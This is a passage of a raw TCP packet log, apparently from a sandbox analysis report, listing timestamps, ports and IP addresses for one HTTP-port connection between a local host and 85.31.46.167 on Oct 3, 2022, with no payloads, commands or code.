Oct 3, 2022 17:30:07.569837093 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.569880962 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.569907904 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.569938898 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.569973946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.569989920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570046902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570081949 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570096970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570108891 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570133924 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570147038 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570193052 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570197105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570240974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570277929 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570296049 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570307016 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570348024 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570379019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570430040 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570442915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570485115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570514917 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570568085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570594072 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570637941 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570672035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570739031 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570744991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570802927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570808887 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570849895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.570861101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570940971 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.570992947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571012020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571069002 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571085930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571157932 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571158886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571229935 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571259975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571283102 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571300983 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571338892 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571355104 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571404934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571446896 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571451902 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571500063 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571527004 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571593046 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571599007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571652889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571674109 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571738005 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571748972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571808100 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571819067 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571878910 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571890116 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571949005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.571974993 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.571995974 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572033882 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572047949 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572072983 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572098017 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572135925 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572151899 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572201014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572204113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572251081 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572252035 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572302103 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572304010 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572352886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572354078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572397947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572402954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572449923 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572496891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572500944 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572536945 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572546959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572588921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572597980 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572635889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572648048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572695971 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572696924 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572747946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572798014 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572819948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572846889 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572868109 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572896004 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.572899103 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572949886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.572983027 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573004007 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573005915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573045015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573102951 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573112011 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573146105 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573153019 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573200941 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573244095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573249102 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573298931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573344946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573347092 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573394060 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573442936 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573442936 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573491096 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573539019 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573540926 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573589087 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573632956 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573636055 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573685884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573734999 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573760986 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573786020 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573802948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573802948 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573832989 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573854923 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573887110 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573889017 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573932886 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.573939085 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.573999882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.574031115 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.574047089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.574065924 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.574112892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.574513912 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.595269918 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595355988 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595422029 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595484972 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595549107 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595596075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.595607042 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595676899 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.595685005 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595711946 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.595752954 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595803976 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.595817089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595877886 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.595922947 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.595940113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596004963 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596048117 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596065998 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596121073 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596165895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596184969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596246958 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596293926 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596308947 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596373081 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596417904 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596436024 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596503973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596551895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596568108 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596601963 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596621037 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596632957 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596697092 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596774101 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596832991 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596837997 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596903086 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.596946955 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.596965075 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.597023964 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.597069979 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.597085953 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.597132921 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.597197056 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.597229958 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.597270012 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.597323895 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.597335100 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.599886894 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601134062 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601206064 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601241112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601269960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601275921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601337910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601350069 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601387978 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601403952 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601454973 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601484060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601510048 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601512909 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601567030 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601572990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601617098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601643085 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601666927 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601671934 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601736069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601751089 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601780891 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601814985 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601836920 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601836920 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601890087 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601902008 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.601943970 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.601968050 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602030039 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602054119 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602086067 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602089882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602138996 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602154970 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602205038 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602216959 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602260113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602300882 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602305889 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602344990 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602353096 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602387905 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602390051 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602430105 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602456093 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602485895 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602509975 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602555037 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602556944 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602606058 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602621078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602680922 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602730989 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602742910 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602796078 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602823973 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602855921 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602857113 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.602900982 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.602945089 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603002071 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603018045 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603063107 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603077888 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603141069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603167057 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603188992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603197098 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603239059 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603240013 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603282928 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603282928 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603326082 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603329897 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603368044 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603368044 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603411913 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603465080 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603471994 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603527069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603538036 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603568077 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603583097 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603610992 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603630066 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603657007 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603662014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603698015 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603705883 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603740931 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603745937 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603784084 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603785992 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603826046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603828907 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603868961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603897095 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603909969 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603921890 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603955030 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.603966951 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.603997946 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604001999 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604039907 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604051113 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604080915 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604127884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604168892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604195118 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604212046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604226112 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604254961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604259014 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604298115 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604338884 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604379892 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604398012 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604423046 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604433060 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604465961 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604466915 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604510069 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604515076 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604567051 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604609966 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604624033 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604641914 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604690075 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604691982 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604722977 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604734898 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604744911 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604775906 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604789972 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604815960 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604842901 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604856968 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604890108 CEST	49694	80	192.168.2.5	85.31.46.167
Oct 3, 2022 17:30:07.604898930 CEST	80	49694	85.31.46.167	192.168.2.5
Oct 3, 2022 17:30:07.604912996 CEST	49694	80	192.168.2.5	85.31.46.167
